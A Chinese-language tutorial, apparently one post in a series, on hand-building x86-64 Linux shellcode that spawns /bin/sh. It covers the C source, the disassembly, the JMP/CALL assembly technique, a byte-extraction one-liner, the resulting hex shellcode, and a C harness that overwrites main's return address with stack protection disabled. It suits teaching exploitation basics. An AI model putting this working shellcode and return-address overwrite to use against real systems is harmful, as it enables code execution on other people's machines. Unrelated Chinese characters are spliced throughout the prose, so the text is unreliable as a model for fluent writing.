1. 概說
shell我們都知道是什么了吧绎橘! 狹義的shellcode 就是一段可以運行shell的代碼!
構(gòu)造一段shellcode的作用就是為了在緩沖區(qū)溢出時將shellcode的地址覆蓋掉正常的返回地址骑脱。
shellcode通常放在緩沖區(qū)內(nèi)菜枷,也可以通過環(huán)境變量存入堆內(nèi),也可以通過動態(tài)內(nèi)存放入堆區(qū)叁丧。
下面我們學(xué)習(xí)一下怎樣構(gòu)造shellcode犁跪。
注意: 我是在Centos 64位的系統(tǒng)下進行測試和構(gòu)建shellcode的椿息,shellcode的高級技巧可以支持不同平臺的移植,但下面構(gòu)建的shellcode并不適合多平臺坷衍。
2. shellcode源代碼
下面是shellcode的c代碼
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char *code[2];
code[0] = "/bin/sh";
code[1] = NULL;
execve(code[0], code, NULL);
return 0;
}
以上代碼編譯運行可以得到一個shell(命令行)寝优。
- execve 是 Unix/Linux下exec函數(shù),Linux一般是用fork創(chuàng)建新進程枫耳,用exec來執(zhí)行新的程序
- exec有六個函數(shù)乏矾,其中只有execve是系統(tǒng)調(diào)用,其它五個exec函數(shù)最后都要調(diào)用execve迁杨。
3. 反匯編
我們將上面的代碼進行編譯钻心,然后反匯編。
編譯: gcc -o shellcode shellcode.c
反匯編:objdump -d shellcode > shellcode.s
shellcode.s 是我們得到的反匯編代碼铅协, 我們只需要關(guān)注main部分的:
0000000000400530 <main>:
400530: 55 push %rbp
400531: 48 89 e5 mov %rsp,%rbp
400534: 48 83 ec 20 sub $0x20,%rsp
400538: 89 7d ec mov %edi,-0x14(%rbp)
40053b: 48 89 75 e0 mov %rsi,-0x20(%rbp)
40053f: 48 c7 45 f0 00 06 40 movq $0x400600,-0x10(%rbp)
400546: 00
400547: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp)
40054e: 00
40054f: 48 8b 45 f0 mov -0x10(%rbp),%rax
400553: 48 8d 4d f0 lea -0x10(%rbp),%rcx
400557: ba 00 00 00 00 mov $0x0,%edx
40055c: 48 89 ce mov %rcx,%rsi
40055f: 48 89 c7 mov %rax,%rdi
400562: e8 b9 fe ff ff callq 400420 <execve@plt>
400567: b8 00 00 00 00 mov $0x0,%eax
40056c: c9 leaveq
40056d: c3 retq
40056e: 66 90 xchg %ax,%ax
參照上面的反匯編代碼捷沸,我們手工用匯編語言重寫上面的shellcode.c,
如下:
.section .text
.global _start
_start:
jmp cl
pp: popq %rcx
pushq %rbp
mov %rsp, %rbp
subq $0x20, %rsp
movq %rcx, -0x10(%rbp)
movq $0x0,-0x8(%rbp)
mov $0, %edx
lea -0x10(%rbp), %rsi
mov -0x10(%rbp), %rdi
mov $59, %rax
syscall
cl:call pp
.ascii "/bin/sh"
上面的匯編代碼中:
rax 保存系統(tǒng)調(diào)用號#59狐史,這是execve的調(diào)用號
rdi 保存execve的第一個參數(shù)痒给,是"/bin/sh"的地址
rsi 是指向前面用到的"/bin/sh"的指針開始并以空指針結(jié)尾的指針數(shù)組
rdx 是零,用來做execve的第三個參數(shù)
execve的原型是:int execve(const char *filename, char *const argv[],char *const envp[]);
我們將匯編代碼保存在文件: scode.s 里骏全。
shellcode構(gòu)建技巧
shelloce構(gòu)建唯一需要的技巧是: 巧妙地存放"/bin/sh"字符串和使用苍柏。
其中一個技巧是這樣的:首先以一條【jmp】指令開始,它跳轉(zhuǎn)到一個【call】指令處姜贡,該指令恰好是shelloce的起始處之前试吁。執(zhí)行【call】指令會將返回地址(shellcode起始地址)壓棧,并跳到下一條指令(最初jmp指令之后)楼咳。
如下:
jmp xxx
pop xxx
xxxxxxxx
call pop address
.string
一個【jmp】和一個【call】首尾呼應(yīng)熄捍,是用來得到.string里面內(nèi)容的一個好辦法。
除了JMP/CALL方法外母怜,另一種常見的技術(shù)是使用FNSTENV匯編指令治唤。
fnstenv指令將一個32字節(jié)的浮點單元(FPU)環(huán)境記錄入由操作數(shù)指定的內(nèi)存地址,F(xiàn)PU環(huán)境記錄是一個數(shù)據(jù)結(jié)構(gòu)糙申,它的定義位于/usr/include/sys/user.h文件的user_fpregs_struct中宾添。
/* These are the 32-bit x86 structures. */
struct user_fpregs_struct
{
long int cwd;
long int swd;
long int twd;
long int fip;
long int fcs;
long int foo;
long int fos;
long int st_space [20];
};
利用fip里面包含的調(diào)用的最后一條FPU指令的eip,我們可以成功獲得到當前的地址柜裸。
技巧實踐
想要編寫shellcode缕陕,就要理解目的程序調(diào)用shellcode時的難點,下面是上面的匯編代碼的解釋:
shellcode最麻煩的一點就是要將字符串“/bin/sh"作為參數(shù)傳遞疙挺,shellcode被寫入緩沖區(qū)后扛邑,代碼的位置是不固定的,為了能夠得到"/bin/sh"這個字符串铐然,黑客們利用call指令蔬崩,因為call指令執(zhí)行的第一個動作就是將下一條指令的地址壓棧恶座,而我們把字符串安排在call后,目的就是要把它壓入棧中沥阳。
- scode.s入口第一條指令: jmp cl #這是跳到cl標簽處跨琳,亦即 call pp。
- call pp #將字符串壓棧桐罕,同時返回到上面pp標簽處
- popq %rcx #將字符串"/bin/sh"的地址存入rcx(通用寄存器)脉让,這里可以選擇其它寄存器。
- 接下來的三條指令是建立一個新的椆ε冢空間:
pushq %rbp
mov %rsp, %rbp
subq $0x20, %rsp
在真正注入的shellcode代碼里溅潜,可以不用創(chuàng)建這個棧,但這里演示程序在單獨執(zhí)行時薪伏,"/bin/sh"字符串是放在了代碼段里滚澜,是不允許修改的空間,所以要建棧將這個字符串復(fù)制過去嫁怀。- movq %rcx, -0x10(%rbp) #將字符串復(fù)制到棧
- movq $0x0,-0x8(%rbp) #創(chuàng)建調(diào)用exec時的參數(shù)name[1]设捐,將它置0.
- lea -0x10(%rbp), %rsi #這是execve第二個參數(shù),它需要**類型眶掌,所以用lea傳送地址給rsi挡育。
- mov -0x10(%rbp), %rdi #mov將字符串傳給rdi巴碗,這是execve第一個參數(shù)朴爬。
- mov $59, %rax #這個59是execve的系統(tǒng)調(diào)用號,在/usr/include/asm/unistd_64.h里可以查詢到.
- syscall #系統(tǒng)調(diào)用橡淆, 這個可以取代 int 0x80 .
不用考慮返回退出召噩,代碼基本無問題,下面進行編譯和連接逸爵。
編譯: as -o scode.o scode.s
連接: ld -o scode scode.o
用objdump反匯編scode具滴,主要目的是提取二進制機器碼,為了方便顯示师倔,二進制一般表示為十六進制构韵。
這里有一條命令,可以直接輸出到可以用在c語言的shellcode:for i in $(objdump -d scode | grep "^ " |cut -f2); do echo -n '\x'$i; done;
最后得到的shellcode代碼如下:
\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00
\x00\x00\x00\xba\x00\x00\x00\x00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b
\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
4. 測試shellcode
下是用c語言寫一個測試shellcode的程序:
#include <stdio.h>
unsigned char code[] = "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
"\x83\xec\x20\x48\x89\x4d\xf0\x48"
"\xc7\x45\xf8\x00\x00\x00\x00\xba"
"\x00\x00\x00\x00\x48\x8d\x75\xf0"
"\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
"\x00\x00\x00\x0f\x05\xe8\xd0\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
/* code 就是我們上面構(gòu)造的 shellcode */
void main(int argc, char *argv[])
{
long *ret;
ret = (long *)&ret + 2;
(*ret) = (long)code;
}
- 因為是64位系統(tǒng)趋艘,地址是有64位寬度的疲恢,所以要用long類型
- ret 作為main的第一個局部變量,它必定是存儲在main的棿呻剩空間內(nèi)显拳,其中l(wèi)ong * ret 這條指令占據(jù)了一個64位, 當ret地址加1(64位)時搓萧,ret就到到達棧的基址位置(rbp)杂数,我在(一)這文章里分析過宛畦,main函數(shù)的返回地址還在棧基址之上的高地址中揍移,它距離rbp還有64位寬度次和,所以ret需要加上2(2個64位)才能到達main的返回地址的保存位置。
- (*ret) = (long)code 羊精, 很明顯就是要用code的地址將main返回地址覆蓋斯够。
另外,由于系統(tǒng)設(shè)置了堆棧運行保護喧锦,gcc編譯時需要使用參數(shù):-fno-stack-protector -z execstack
5. shellcode 之后
shellcode 除了取得shell外读规,還有很多不同的功能,構(gòu)建shellcode還有很多不同的方法燃少,這里只是很基本的方法束亏。
現(xiàn)代系統(tǒng)都有堆棧運行保護,有方法可以繞過這些保護不阵具?
答案是有的碍遍,所謂道高一尺,魔高一丈阳液!
上面的shellcode并不涉及緩沖區(qū)溢出怕敬,亦不適用緩沖區(qū)溢出,原因是什么呢帘皿?
且看下回分解东跪。